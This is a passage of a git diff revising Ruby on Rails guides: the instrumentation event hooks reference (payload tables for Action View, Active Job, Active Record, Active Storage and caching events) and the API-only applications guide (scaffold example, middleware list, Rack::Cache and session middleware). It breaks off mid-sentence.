-| Key    | Value                 |
-| ------ | --------------------- |
-| `:key` | Key used in the store |
+#### `render_template.action_view`
 
-INFO. Options passed to fetch will be merged with the payload.
+| Key           | Value                              |
+| ------------- | ---------------------------------- |
+| `:identifier` | Full path to template              |
+| `:layout`     | Applicable layout                  |
+| `:locals`     | Local variables passed to template |
 
 ```ruby
 {
-  key: 'name-of-complicated-computation'
+  identifier: "/Users/adam/projects/notifications/app/views/posts/index.html.erb",
+  layout: "layouts/application",
+  locals: { foo: "bar" }
 }
 ```
 
-### cache_write.active_support
-
-| Key    | Value                 |
-| ------ | --------------------- |
-| `:key` | Key used in the store |
+#### `render_partial.action_view`
 
-INFO. Cache stores may add their own keys
+| Key           | Value                              |
+| ------------- | ---------------------------------- |
+| `:identifier` | Full path to template              |
+| `:locals`     | Local variables passed to template |
 
 ```ruby
 {
-  key: 'name-of-complicated-computation'
+  identifier: "/Users/adam/projects/notifications/app/views/posts/_form.html.erb",
+  locals: { foo: "bar" }
 }
 ```
 
-### cache_delete.active_support
+#### `render_collection.action_view`
 
-| Key    | Value                 |
-| ------ | --------------------- |
-| `:key` | Key used in the store |
+| Key           | Value                                 |
+| ------------- | ------------------------------------- |
+| `:identifier` | Full path to template                 |
+| `:count`      | Size of collection                    |
+| `:cache_hits` | Number of partials fetched from cache |
+
+The `:cache_hits` key is only included if the collection is rendered with `cached: true`.
 
 ```ruby
 {
-  key: 'name-of-complicated-computation'
+  identifier: "/Users/adam/projects/notifications/app/views/posts/_post.html.erb",
+  count: 3,
+  cache_hits: 0
 }
 ```
 
-### cache_exist?.active_support
+#### `render_layout.action_view`
+
+| Key           | Value                 |
+| ------------- | --------------------- |
+| `:identifier` | Full path to template |
 
-| Key    | Value                 |
-| ------ | --------------------- |
-| `:key` | Key used in the store |
 
 ```ruby
 {
-  key: 'name-of-complicated-computation'
+  identifier: "/Users/adam/projects/notifications/app/views/layouts/application.html.erb"
 }
 ```
 
-Active Job
---------
+### Active Job
 
-### enqueue_at.active_job
+#### `enqueue_at.active_job`
 
 | Key          | Value                                  |
 | ------------ | -------------------------------------- |
 | `:adapter`   | QueueAdapter object processing the job |
 | `:job`       | Job object                             |
 
-### enqueue.active_job
+#### `enqueue.active_job`
 
 | Key          | Value                                  |
 | ------------ | -------------------------------------- |
 | `:adapter`   | QueueAdapter object processing the job |
 | `:job`       | Job object                             |
 
-### perform_start.active_job
+#### `enqueue_retry.active_job`
+
+| Key          | Value                                  |
+| ------------ | -------------------------------------- |
+| `:job`       | Job object                             |
+| `:adapter`   | QueueAdapter object processing the job |
+| `:error`     | The error that caused the retry        |
+| `:wait`      | The delay of the retry                 |
+
+#### `enqueue_all.active_job`
+
+| Key          | Value                                  |
+| ------------ | -------------------------------------- |
+| `:adapter`   | QueueAdapter object processing the job |
+| `:jobs`      | An array of Job objects                |
+
+#### `perform_start.active_job`
 
 | Key          | Value                                  |
 | ------------ | -------------------------------------- |
 | `:adapter`   | QueueAdapter object processing the job |
 | `:job`       | Job object                             |
 
-### perform.active_job
+#### `perform.active_job`
+
+| Key           | Value                                         |
+| ------------- | --------------------------------------------- |
+| `:adapter`    | QueueAdapter object processing the job        |
+| `:job`        | Job object                                    |
+| `:db_runtime` | Amount spent executing database queries in ms |
+
+#### `retry_stopped.active_job`
 
 | Key          | Value                                  |
 | ------------ | -------------------------------------- |
 | `:adapter`   | QueueAdapter object processing the job |
 | `:job`       | Job object                             |
+| `:error`     | The error that caused the retry        |
 
+#### `discard.active_job`
 
-Railties
---------
+| Key          | Value                                  |
+| ------------ | -------------------------------------- |
+| `:adapter`   | QueueAdapter object processing the job |
+| `:job`       | Job object                             |
+| `:error`     | The error that caused the discard      |
 
-### load_config_initializer.railties
+### Active Record
 
-| Key            | Value                                                 |
-| -------------- | ----------------------------------------------------- |
-| `:initializer` | Path to loaded initializer from `config/initializers` |
+#### `sql.active_record`
 
-Rails
------
+| Key                  | Value                                                  |
+| -------------------- | ------------------------------------------------------ |
+| `:sql`               | SQL statement                                          |
+| `:name`              | Name of the operation                                  |
+| `:binds`             | Bind parameters                                        |
+| `:type_casted_binds` | Typecasted bind parameters                             |
+| `:async`             | `true` if query is loaded asynchronously               |
+| `:allow_retry`       | `true` if the query can be automatically retried       |
+| `:connection`        | Connection object                                      |
+| `:transaction`       | Current transaction, if any                            |
+| `:affected_rows`     | Number of rows affected by the query                   |
+| `:row_count`         | Number of rows returned by the query                   |
+| `:cached`            | `true` is added when result comes from the query cache |
+| `:statement_name`    | SQL Statement name (Postgres only)                     |
 
-### deprecation.rails
+Adapters may add their own data as well.
 
-| Key          | Value                           |
-| ------------ | ------------------------------- |
-| `:message`   | The deprecation warning         |
-| `:callstack` | Where the deprecation came from |
+```ruby
+{
+  sql: "SELECT \"posts\".* FROM \"posts\" ",
+  name: "Post Load",
+  binds: [<ActiveModel::Attribute::WithCastValue:0x00007fe19d15dc00>],
+  type_casted_binds: [11],
+  async: false,
+  allow_retry: true,
+  connection: <ActiveRecord::ConnectionAdapters::SQLite3Adapter:0x00007f9f7a838850>,
+  transaction: <ActiveRecord::ConnectionAdapters::RealTransaction:0x0000000121b5d3e0>
+  affected_rows: 0
+  row_count: 5,
+  statement_name: nil,
+}
+```
 
-Subscribing to an event
------------------------
+If the query is not executed in the context of a transaction, `:transaction` is `nil`.
 
-Subscribing to an event is easy. Use `ActiveSupport::Notifications.subscribe` with a block to
-listen to any notification.
+#### `strict_loading_violation.active_record`
 
-The block receives the following arguments:
+This event is only emitted when [`config.active_record.action_on_strict_loading_violation`][] is set to `:log`.
 
-* The name of the event
-* Time when it started
-* Time when it finished
-* A unique ID for this event
-* The payload (described in previous sections)
+| Key           | Value                                            |
+| ------------- | ------------------------------------------------ |
+| `:owner`      | Model with `strict_loading` enabled              |
+| `:reflection` | Reflection of the association that tried to load |
+
+[`config.active_record.action_on_strict_loading_violation`]: configuring.html#config-active-record-action-on-strict-loading-violation
+
+#### `instantiation.active_record`
+
+| Key              | Value                                     |
+| ---------------- | ----------------------------------------- |
+| `:record_count`  | Number of records that instantiated       |
+| `:class_name`    | Record's class                            |
 
 ```ruby
-ActiveSupport::Notifications.subscribe "process_action.action_controller" do |name, started, finished, unique_id, data|
-  # your own custom stuff
-  Rails.logger.info "#{name} Received!"
-end
+{
+  record_count: 1,
+  class_name: "User"
+}
 ```
 
-Defining all those block arguments each time can be tedious. You can easily create an `ActiveSupport::Notifications::Event`
-from block arguments like this:
+#### `start_transaction.active_record`
 
-```ruby
-ActiveSupport::Notifications.subscribe "process_action.action_controller" do |*args|
-  event = ActiveSupport::Notifications::Event.new *args
+This event is emitted when a transaction has been started.
 
-  event.name      # => "process_action.action_controller"
-  event.duration  # => 10 (in milliseconds)
-  event.payload   # => {:extra=>information}
+| Key                  | Value                                                |
+| -------------------- | ---------------------------------------------------- |
+| `:transaction`       | Transaction object                                   |
+| `:connection`        | Connection object                                    |
 
-  Rails.logger.info "#{event} Received!"
+Please, note that Active Record does not create the actual database transaction
+until needed:
+
+```ruby
+ActiveRecord::Base.transaction do
+  # We are inside the block, but no event has been triggered yet.
+
+  # The following line makes Active Record start the transaction.
+  User.count # Event fired here.
 end
 ```
 
-Most times you only care about the data itself. Here is a shortcut to just get the data.
+Remember that ordinary nested calls do not create new transactions:
 
 ```ruby
-ActiveSupport::Notifications.subscribe "process_action.action_controller" do |*args|
-  data = args.extract_options!
-  data # { extra: :information }
+ActiveRecord::Base.transaction do |t1|
+  User.count # Fires an event for t1.
+  ActiveRecord::Base.transaction do |t2|
+    # The next line fires no event for t2, because the only
+    # real database transaction in this example is t1.
+    User.first.touch
+  end
 end
 ```
 
-You may also subscribe to events matching a regular expression. This enables you to subscribe to
-multiple events at once. Here's you could subscribe to everything from `ActionController`.
+However, if `requires_new: true` is passed, you get an event for the nested
+transaction too. This might be a savepoint under the hood:
 
 ```ruby
-ActiveSupport::Notifications.subscribe /action_controller/ do |*args|
-  # inspect all ActionController events
+ActiveRecord::Base.transaction do |t1|
+  User.count # Fires an event for t1.
+  ActiveRecord::Base.transaction(requires_new: true) do |t2|
+    User.first.touch # Fires an event for t2.
+  end
 end
 ```
 
-Creating custom events
+#### `transaction.active_record`
+
+This event is emitted when a database transaction finishes. The state of the
+transaction can be found in the `:outcome` key.
+
+| Key                  | Value                                                |
+| -------------------- | ---------------------------------------------------- |
+| `:transaction`       | Transaction object                                   |
+| `:outcome`           | `:commit`, `:rollback`, `:restart`, or `:incomplete` |
+| `:connection`        | Connection object                                    |
+
+In practice, you cannot do much with the transaction object, but it may still be
+helpful for tracing database activity. For example, by tracking
+`transaction.uuid`.
+
+#### `deprecated_association.active_record`
+
+This event is emitted when a deprecated association is accessed, and the
+configured deprecated associations mode is `:notify`.
+
+| Key                  | Value                                                |
+| -------------------- | ---------------------------------------------------- |
+| `:reflection`        | The reflection of the association                    |
+| `:message`           | A descriptive message about the access               |
+| `:location`          | The application-level location of the access         |
+| `:backtrace`         | Only present if the option `:backtrace` is true      |
+
+The `:location` is a `Thread::Backtrace::Location` object, and `:backtrace`, if
+present, is an array of `Thread::Backtrace::Location` objects. These are
+computed using the Active Record backtrace cleaner. In Rails applications, this
+is the same as `Rails.backtrace_cleaner`.
+
+### Active Storage
+
+#### `preview.active_storage`
+
+| Key          | Value               |
+| ------------ | ------------------- |
+| `:key`       | Secure token        |
+
+#### `transform.active_storage`
+
+#### `analyze.active_storage`
+
+| Key          | Value                          |
+| ------------ | ------------------------------ |
+| `:analyzer`  | Name of analyzer e.g., ffprobe |
+
+### Active Storage: Storage Service
+
+#### `service_upload.active_storage`
+
+| Key          | Value                        |
+| ------------ | ---------------------------- |
+| `:key`       | Secure token                 |
+| `:service`   | Name of the service          |
+| `:checksum`  | Checksum to ensure integrity |
+
+#### `service_streaming_download.active_storage`
+
+| Key          | Value               |
+| ------------ | ------------------- |
+| `:key`       | Secure token        |
+| `:service`   | Name of the service |
+
+#### `service_download_chunk.active_storage`
+
+| Key          | Value                           |
+| ------------ | ------------------------------- |
+| `:key`       | Secure token                    |
+| `:service`   | Name of the service             |
+| `:range`     | Byte range attempted to be read |
+
+#### `service_download.active_storage`
+
+| Key          | Value               |
+| ------------ | ------------------- |
+| `:key`       | Secure token        |
+| `:service`   | Name of the service |
+
+#### `service_delete.active_storage`
+
+| Key          | Value               |
+| ------------ | ------------------- |
+| `:key`       | Secure token        |
+| `:service`   | Name of the service |
+
+#### `service_delete_prefixed.active_storage`
+
+| Key          | Value               |
+| ------------ | ------------------- |
+| `:prefix`    | Key prefix          |
+| `:service`   | Name of the service |
+
+#### `service_exist.active_storage`
+
+| Key          | Value                       |
+| ------------ | --------------------------- |
+| `:key`       | Secure token                |
+| `:service`   | Name of the service         |
+| `:exist`     | File or blob exists or not  |
+
+#### `service_url.active_storage`
+
+| Key          | Value               |
+| ------------ | ------------------- |
+| `:key`       | Secure token        |
+| `:service`   | Name of the service |
+| `:url`       | Generated URL       |
+
+#### `service_update_metadata.active_storage`
+
+This event is only emitted when using the Google Cloud Storage service.
+
+| Key             | Value                            |
+| --------------- | -------------------------------- |
+| `:key`          | Secure token                     |
+| `:service`      | Name of the service              |
+| `:content_type` | HTTP `Content-Type` field        |
+| `:disposition`  | HTTP `Content-Disposition` field |
+
+### Active Support: Caching
+
+#### `cache_read.active_support`
+
+| Key                | Value                   |
+| ------------------ | ----------------------- |
+| `:key`             | Key used in the store   |
+| `:store`           | Name of the store class |
+| `:hit`             | If this read is a hit   |
+| `:super_operation` | `:fetch` if a read is done with [`fetch`][ActiveSupport::Cache::Store#fetch] |
+
+#### `cache_read_multi.active_support`
+
+| Key                | Value                   |
+| ------------------ | ----------------------- |
+| `:key`             | Keys used in the store  |
+| `:store`           | Name of the store class |
+| `:hits`            | Keys of cache hits      |
+| `:super_operation` | `:fetch_multi` if a read is done with [`fetch_multi`][ActiveSupport::Cache::Store#fetch_multi] |
+
+#### `cache_generate.active_support`
+
+This event is only emitted when [`fetch`][ActiveSupport::Cache::Store#fetch] is called with a block.
+
+| Key      | Value                   |
+| -------- | ----------------------- |
+| `:key`   | Key used in the store   |
+| `:store` | Name of the store class |
+
+Options passed to `fetch` will be merged with the payload when writing to the store.
+
+```ruby
+{
+  key: "name-of-complicated-computation",
+  store: "ActiveSupport::Cache::MemCacheStore"
+}
+```
+
+#### `cache_fetch_hit.active_support`
+
+This event is only emitted when [`fetch`][ActiveSupport::Cache::Store#fetch] is called with a block.
+
+| Key      | Value                   |
+| -------- | ----------------------- |
+| `:key`   | Key used in the store   |
+| `:store` | Name of the store class |
+
+Options passed to `fetch` will be merged with the payload.
+
+```ruby
+{
+  key: "name-of-complicated-computation",
+  store: "ActiveSupport::Cache::MemCacheStore"
+}
+```
+
+#### `cache_write.active_support`
+
+| Key      | Value                   |
+| -------- | ----------------------- |
+| `:key`   | Key used in the store   |
+| `:store` | Name of the store class |
+
+Cache stores may add their own data as well.
+
+```ruby
+{
+  key: "name-of-complicated-computation",
+  store: "ActiveSupport::Cache::MemCacheStore"
+}
+```
+
+#### `cache_write_multi.active_support`
+
+| Key      | Value                                |
+| -------- | ------------------------------------ |
+| `:key`   | Keys and values written to the store |
+| `:store` | Name of the store class              |
+
+
+#### `cache_increment.active_support`
+
+| Key       | Value                   |
+| --------- | ----------------------- |
+| `:key`    | Key used in the store   |
+| `:store`  | Name of the store class |
+| `:amount` | Increment amount        |
+
+```ruby
+{
+  key: "bottles-of-beer",
+  store: "ActiveSupport::Cache::RedisCacheStore",
+  amount: 99
+}
+```
+
+#### `cache_decrement.active_support`
+
+| Key       | Value                   |
+| --------- | ----------------------- |
+| `:key`    | Key used in the store   |
+| `:store`  | Name of the store class |
+| `:amount` | Decrement amount        |
+
+```ruby
+{
+  key: "bottles-of-beer",
+  store: "ActiveSupport::Cache::RedisCacheStore",
+  amount: 1
+}
+```
+
+#### `cache_delete.active_support`
+
+| Key      | Value                   |
+| -------- | ----------------------- |
+| `:key`   | Key used in the store   |
+| `:store` | Name of the store class |
+
+```ruby
+{
+  key: "name-of-complicated-computation",
+  store: "ActiveSupport::Cache::MemCacheStore"
+}
+```
+
+#### `cache_delete_multi.active_support`
+
+| Key      | Value                   |
+| -------- | ----------------------- |
+| `:key`   | Keys used in the store  |
+| `:store` | Name of the store class |
+
+#### `cache_delete_matched.active_support`
+
+This event is only emitted when using [`RedisCacheStore`][ActiveSupport::Cache::RedisCacheStore],
+[`FileStore`][ActiveSupport::Cache::FileStore], or [`MemoryStore`][ActiveSupport::Cache::MemoryStore].
+
+| Key      | Value                   |
+| -------- | ----------------------- |
+| `:key`   | Key pattern used        |
+| `:store` | Name of the store class |
+
+```ruby
+{
+  key: "posts/*",
+  store: "ActiveSupport::Cache::RedisCacheStore"
+}
+```
+
+#### `cache_cleanup.active_support`
+
+This event is only emitted when using [`MemoryStore`][ActiveSupport::Cache::MemoryStore].
+
+| Key      | Value                                         |
+| -------- | --------------------------------------------- |
+| `:store` | Name of the store class                       |
+| `:size`  | Number of entries in the cache before cleanup |
+
+```ruby
+{
+  store: "ActiveSupport::Cache::MemoryStore",
+  size: 9001
+}
+```
+
+#### `cache_prune.active_support`
+
+This event is only emitted when using [`MemoryStore`][ActiveSupport::Cache::MemoryStore].
+
+| Key      | Value                                         |
+| -------- | --------------------------------------------- |
+| `:store` | Name of the store class                       |
+| `:key`   | Target size (in bytes) for the cache          |
+| `:from`  | Size (in bytes) of the cache before prune     |
+
+```ruby
+{
+  store: "ActiveSupport::Cache::MemoryStore",
+  key: 5000,
+  from: 9001
+}
+```
+
+#### `cache_exist?.active_support`
+
+| Key      | Value                   |
+| -------- | ----------------------- |
+| `:key`   | Key used in the store   |
+| `:store` | Name of the store class |
+
+```ruby
+{
+  key: "name-of-complicated-computation",
+  store: "ActiveSupport::Cache::MemCacheStore"
+}
+```
+
+[ActiveSupport::Cache::FileStore]: https://api.rubyonrails.org/classes/ActiveSupport/Cache/FileStore.html
+[ActiveSupport::Cache::MemCacheStore]: https://api.rubyonrails.org/classes/ActiveSupport/Cache/MemCacheStore.html
+[ActiveSupport::Cache::MemoryStore]: https://api.rubyonrails.org/classes/ActiveSupport/Cache/MemoryStore.html
+[ActiveSupport::Cache::RedisCacheStore]: https://api.rubyonrails.org/classes/ActiveSupport/Cache/RedisCacheStore.html
+[ActiveSupport::Cache::Store#fetch]: https://api.rubyonrails.org/classes/ActiveSupport/Cache/Store.html#method-i-fetch
+[ActiveSupport::Cache::Store#fetch_multi]: https://api.rubyonrails.org/classes/ActiveSupport/Cache/Store.html#method-i-fetch_multi
+
+### Active Support: Messages
+
+#### `message_serializer_fallback.active_support`
+
+| Key             | Value                         |
+| --------------- | ----------------------------- |
+| `:serializer`   | Primary (intended) serializer |
+| `:fallback`     | Fallback (actual) serializer  |
+| `:serialized`   | Serialized string             |
+| `:deserialized` | Deserialized value            |
+
+```ruby
+{
+  serializer: :json_allow_marshal,
+  fallback: :marshal,
+  serialized: "\x04\b{\x06I\"\nHello\x06:\x06ETI\"\nWorld\x06;\x00T",
+  deserialized: { "Hello" => "World" },
+}
+```
+
+### Rails
+
+#### `deprecation.rails`
+
+| Key                    | Value                                                 |
+| ---------------------- | ------------------------------------------------------|
+| `:message`             | The deprecation warning                               |
+| `:callstack`           | Where the deprecation came from                       |
+| `:gem_name`            | Name of the gem reporting the deprecation             |
+| `:deprecation_horizon` | Version where the deprecated behavior will be removed |
+
+### Railties
+
+#### `load_config_initializer.railties`
+
+| Key            | Value                                               |
+| -------------- | --------------------------------------------------- |
+| `:initializer` | Path of loaded initializer in `config/initializers` |
+
+Exceptions
+----------
+
+If an exception happens during any instrumentation, the payload will include
+information about it.
+
+| Key                 | Value                                                          |
+| ------------------- | -------------------------------------------------------------- |
+| `:exception`        | An array of two elements. Exception class name and the message |
+| `:exception_object` | The exception object                                           |
+
+Creating Custom Events
 ----------------------
 
-Adding your own events is easy as well. `ActiveSupport::Notifications` will take care of
-all the heavy lifting for you. Simply call `instrument` with a `name`, `payload` and a block.
-The notification will be sent after the block returns. `ActiveSupport` will generate the start and end times
-as well as the unique ID. All data passed into the `instrument` call will make it into the payload.
+Adding your own events is easy as well. Active Support will take care of
+all the heavy lifting for you. Simply call [`ActiveSupport::Notifications.instrument`][] with a `name`, `payload`, and a block.
+The notification will be sent after the block returns. Active Support will generate the start and end times,
+and add the instrumenter's unique ID. All data passed into the `instrument` call will make
+it into the payload.
 
 Here's an example:
 
@@ -548,5 +1045,18 @@ ActiveSupport::Notifications.subscribe "my.custom.event" do |name, started, fini
 end
 ```
 
+You may also call `instrument` without passing a block. This lets you leverage the
+instrumentation infrastructure for other messaging uses.
+
+```ruby
+ActiveSupport::Notifications.instrument "my.custom.event", this: :data
+
+ActiveSupport::Notifications.subscribe "my.custom.event" do |name, started, finished, unique_id, data|
+  puts data.inspect # {:this=>:data}
+end
+```
+
 You should follow Rails conventions when defining your own events. The format is: `event.library`.
-If you application is sending Tweets, you should create an event named `tweet.twitter`.
+If your application is sending Tweets, you should create an event named `tweet.twitter`.
+
+[`ActiveSupport::Notifications.instrument`]: https://api.rubyonrails.org/classes/ActiveSupport/Notifications.html#method-c-instrument
diff --git a/guides/source/api_app.md b/guides/source/api_app.md
index f373d313ccf89..b50471393d7b4 100644
--- a/guides/source/api_app.md
+++ b/guides/source/api_app.md
@@ -1,5 +1,4 @@
-**DO NOT READ THIS FILE ON GITHUB, GUIDES ARE PUBLISHED ON http://guides.rubyonrails.org.**
-
+**DO NOT READ THIS FILE ON GITHUB, GUIDES ARE PUBLISHED ON <https://guides.rubyonrails.org>.**
 
 Using Rails for API-only Applications
 =====================================
@@ -18,14 +17,14 @@ What is an API Application?
 
 Traditionally, when people said that they used Rails as an "API", they meant
 providing a programmatically accessible API alongside their web application.
-For example, GitHub provides [an API](http://developer.github.com) that you
+For example, GitHub provides [an API](https://developer.github.com) that you
 can use from your own custom clients.
 
 With the advent of client-side frameworks, more developers are using Rails to
 build a back-end that is shared between their web application and other native
 applications.
 
-For example, Twitter uses its [public API](https://dev.twitter.com) in its web
+For example, X uses its [public API](https://developer.x.com/) in its web
 application, which is built as a static site that consumes JSON resources.
 
 Instead of using Rails to generate HTML that communicates with the server
@@ -66,9 +65,9 @@ Handled at the middleware layer:
   about the request environment, database queries, and basic performance
   information.
 - Security: Rails detects and thwarts [IP spoofing
-  attacks](http://en.wikipedia.org/wiki/IP_address_spoofing) and handles
+  attacks](https://en.wikipedia.org/wiki/IP_address_spoofing) and handles
   cryptographic signatures in a [timing
-  attack](http://en.wikipedia.org/wiki/Timing_attack) aware way. Don't know what
+  attack](https://en.wikipedia.org/wiki/Timing_attack) aware way. Don't know what
   an IP spoofing attack or a timing attack is? Exactly.
 - Parameter Parsing: Want to specify your parameters as JSON instead of as a
   URL-encoded String? No problem. Rails will decode the JSON for you and make
@@ -77,7 +76,7 @@ Handled at the middleware layer:
 - Conditional GETs: Rails handles conditional `GET` (`ETag` and `Last-Modified`)
   processing request headers and returning the correct response headers and status
   code. All you need to do is use the
-  [`stale?`](http://api.rubyonrails.org/classes/ActionController/ConditionalGet.html#method-i-stale-3F)
+  [`stale?`](https://api.rubyonrails.org/classes/ActionController/ConditionalGet.html#method-i-stale-3F)
   check in your controller, and Rails will handle all of the HTTP details for you.
 - HEAD requests: Rails will transparently convert `HEAD` requests into `GET` ones,
   and return just the headers on the way out. This makes `HEAD` work reliably in
@@ -94,12 +93,12 @@ Handled at the Action Pack layer:
   means not having to spend time thinking about how to model your API in terms
   of HTTP.
 - URL Generation: The flip side of routing is URL generation. A good API based
-  on HTTP includes URLs (see [the GitHub Gist API](http://developer.github.com/v3/gists/)
+  on HTTP includes URLs (see [the GitHub Gist API](https://docs.github.com/en/rest/reference/gists)
   for an example).
 - Header and Redirection Responses: `head :no_content` and
   `redirect_to user_url(current_user)` come in handy. Sure, you could manually
   add the response headers, but why?
-- Caching: Rails provides page, action and fragment caching. Fragment caching
+- Caching: Rails provides page, action, and fragment caching. Fragment caching
   is especially helpful when building up a nested JSON object.
 - Basic, Digest, and Token Authentication: Rails comes with out-of-the-box support
   for three kinds of HTTP authentication.
@@ -107,7 +106,7 @@ Handled at the Action Pack layer:
   handlers for a variety of events, such as action processing, sending a file or
   data, redirection, and database queries. The payload of each event comes with
   relevant information (for the action processing event, the payload includes
-  the controller, action, parameters, request format, request method and the
+  the controller, action, parameters, request format, request method, and the
   request's full path).
 - Generators: It is often handy to generate a resource and get your model,
   controller, test stubs, and routes created for you in a single command for
@@ -132,7 +131,7 @@ If you're building a Rails application that will be an API server first and
 foremost, you can start with a more limited subset of Rails and add in features
 as needed.
 
-### Creating a new application
+### Creating a New Application
 
 You can generate a new api Rails app:
 
@@ -149,22 +148,113 @@ This will do three main things for you:
   `ActionController::Base`. As with middleware, this will leave out any Action
   Controller modules that provide functionalities primarily used by browser
   applications.
-- Configure the generators to skip generating views, helpers and assets when
+- Configure the generators to skip generating views, helpers, and assets when
   you generate a new resource.
 
-### Changing an existing application
+### Generating a New Resource
+
+To see how our newly created API handles generating a new resource, let's create
+a new Group resource. Each group will have a name.
+
+```bash
+$ bin/rails g scaffold Group name:string
+```
+
+Before we can use our scaffolded code, we need to update our database scheme.
+
+```bash
+$ bin/rails db:migrate
+```
+
+Now if we open our `GroupsController`, we should notice that with an API Rails
+app we are rendering JSON data only. On the index action we query for `Group.all`
+and assign it to an instance variable called `@groups`. Passing it to `render` with the
+`:json` option will automatically render the groups as JSON.
+
+```ruby
+# app/controllers/groups_controller.rb
+class GroupsController < ApplicationController
+  before_action :set_group, only: %i[ show update destroy ]
+
+  # GET /groups
+  def index
+    @groups = Group.all
+
+    render json: @groups
+  end
+
+  # GET /groups/1
+  def show
+    render json: @group
+  end
+
+  # POST /groups
+  def create
+    @group = Group.new(group_params)
+
+    if @group.save
+      render json: @group, status: :created, location: @group
+    else
+      render json: @group.errors, status: :unprocessable_entity
+    end
+  end
+
+  # PATCH/PUT /groups/1
+  def update
+    if @group.update(group_params)
+      render json: @group
+    else
+      render json: @group.errors, status: :unprocessable_entity
+    end
+  end
+
+  # DELETE /groups/1
+  def destroy
+    @group.destroy
+  end
+
+  private
+    # Use callbacks to share common setup or constraints between actions.
+    def set_group
+      @group = Group.find(params[:id])
+    end
+
+    # Only allow a list of trusted parameters through.
+    def group_params
+      params.expect(group: [:name])
+    end
+end
+```
+
+Finally we can add some groups to our database from the Rails console:
+
+```irb
+irb> Group.create(name: "Rails Founders")
+irb> Group.create(name: "Rails Contributors")
+```
+
+With some data in the app, we can boot up the server and visit <http://localhost:3000/groups.json> to see our JSON data.
+
+```json
+[
+{"id":1, "name":"Rails Founders", "created_at": ...},
+{"id":2, "name":"Rails Contributors", "created_at": ...}
+]
+```
+
+### Changing an Existing Application
 
 If you want to take an existing application and make it an API one, read the
 following steps.
 
-In `config/application.rb` add the following line at the top of the `Application`
+In `config/application.rb`, add the following line at the top of the `Application`
 class definition:
 
 ```ruby
 config.api_only = true
 ```
 
-In `config/environments/development.rb`, set `config.debug_exception_response_format`
+In `config/environments/development.rb`, set [`config.debug_exception_response_format`][]
 to configure the format used in responses when errors occur in development mode.
 
 To render an HTML page with debugging information, use the value `:default`.
@@ -195,21 +285,26 @@ class ApplicationController < ActionController::API
 end
 ```
 
+[`config.debug_exception_response_format`]: configuring.html#config-debug-exception-response-format
+
 Choosing Middleware
 --------------------
 
 An API application comes with the following middleware by default:
 
+- `ActionDispatch::HostAuthorization`
 - `Rack::Sendfile`
 - `ActionDispatch::Static`
 - `ActionDispatch::Executor`
+- `ActionDispatch::ServerTiming`
 - `ActiveSupport::Cache::Strategy::LocalCache::Middleware`
 - `Rack::Runtime`
 - `ActionDispatch::RequestId`
+- `ActionDispatch::RemoteIp`
 - `Rails::Rack::Logger`
 - `ActionDispatch::ShowExceptions`
 - `ActionDispatch::DebugExceptions`
-- `ActionDispatch::RemoteIp`
+- `ActionDispatch::ActionableExceptions`
 - `ActionDispatch::Reloader`
 - `ActionDispatch::Callbacks`
 - `ActiveRecord::Migration::CheckPending`
@@ -227,16 +322,19 @@ building, and make sense in an API-only Rails application.
 You can get a list of all middleware in your application via:
 
 ```bash
-$ rails middleware
+$ bin/rails middleware
 ```
 
-### Using the Cache Middleware
+### Using Rack::Cache
 
-By default, Rails will add a middleware that provides a cache store based on
-the configuration of your application (memcache by default). This means that
-the built-in HTTP cache will rely on it.
+When used with Rails, `Rack::Cache` uses the Rails cache store for its
+entity and meta stores. This means that if you use memcache, for your
+Rails app, for instance, the built-in HTTP cache will use memcache.
 
-For instance, using the `stale?` method:
+To make use of `Rack::Cache`, you first need to add the `rack-cache` gem
+to `Gemfile`, and set `config.action_dispatch.rack_cache` to `true`.
+To enable its functionality, you will want to use `stale?` in your
+controller. Here’s an example of `stale?` in use.
 
 ```ruby
 def show
@@ -253,7 +351,7 @@ with `@post.updated_at`. If the header is newer than the last modified, this
 action will return a "304 Not Modified" response. Otherwise, it will render the
 response and include a `Last-Modified` header in it.
 
-Normally, this mechanism is used on a per-client basis. The cache middleware
+Normally, this mechanism is used on a per-client basis. `Rack::Cache`
 allows us to share this caching mechanism across clients. We can enable
 cross-client caching in the call to `stale?`:
 
@@ -267,7 +365,7 @@ def show
 end
 ```
 
-This means that the cache middleware will store off the `Last-Modified` value
+This means that `Rack::Cache` will store off the `Last-Modified` value
 for a URL in the Rails cache, and add an `If-Modified-Since` header to any
 subsequent inbound requests for the same URL.
 
@@ -281,14 +379,15 @@ file.
 
 If your front-end server supports accelerated file sending, `Rack::Sendfile`
 will offload the actual file sending work to the front-end server.
+This enables Rails to finish request handling and free resources earlier.
 
 You can configure the name of the header that your front-end server uses for
-this purpose using `config.action_dispatch.x_sendfile_header` in the appropriate
+this purpose using [`config.action_dispatch.x_sendfile_header`][] in the appropriate
 environment's configuration file.
 
 You can learn more about how to use `Rack::Sendfile` with popular
 front-ends in [the Rack::Sendfile
-documentation](http://rubydoc.info/github/rack/rack/master/Rack/Sendfile).
+documentation](https://rack.github.io/rack/main/Rack/Sendfile.html).
 
 Here are some values for this header for some popular servers, once these servers are configured to support
 accelerated file sending:
@@ -304,6 +403,8 @@ config.action_dispatch.x_sendfile_header = "X-Accel-Redirect"
 Make sure to configure your server to support these options following the
 instructions in the `Rack::Sendfile` documentation.
 
+[`config.action_dispatch.x_sendfile_header`]: configuring.html#config-action-dispatch-x-sendfile-header
+
 ### Using ActionDispatch::Request
 
 `ActionDispatch::Request#params` will take parameters from the client in the JSON
@@ -312,24 +413,47 @@ format and make them available in your controller inside `params`.
 To use this, your client will need to make a request with JSON-encoded parameters
 and specify the `Content-Type` as `application/json`.
 
-Here's an example in jQuery:
-
-```javascript
-jQuery.ajax({
-  type: 'POST',
-  url: '/people',
-  dataType: 'json',
-  contentType: 'application/json',
-  data: JSON.stringify({ person: { firstName: "Yehuda", lastName: "Katz" } }),
-  success: function(json) { }
-});
+Here's an example:
+
+```js
+fetch('/people', {
+  method: 'POST',
+  headers: { 'Content-Type': 'application/json' },
+  body: JSON.stringify({ person: { firstName: 'Yehuda', lastName: 'Katz' } })
+}).then(response => response.json())
 ```
 
 `ActionDispatch::Request` will see the `Content-Type` and your parameters
 will be:
 
 ```ruby
-{ :person => { :firstName => "Yehuda", :lastName => "Katz" } }
+{ person: { firstName: "Yehuda", lastName: "Katz" } }
+```
+
+### Using Session Middlewares
+
+The following middlewares, used for session management, are excluded from API apps since they normally don't need sessions.  If one of your API clients is a browser, you might want to add one of these back in:
+
+- `ActionDispatch::Session::CacheStore`
+- `ActionDispatch::Session::CookieStore`
+- `ActionDispatch::Session::MemCacheStore`
+
+The trick to adding these back in is that, by default, they are passed `session_options`
+when added (including the session key), so you can't just add a `session_store.rb` initializer, add
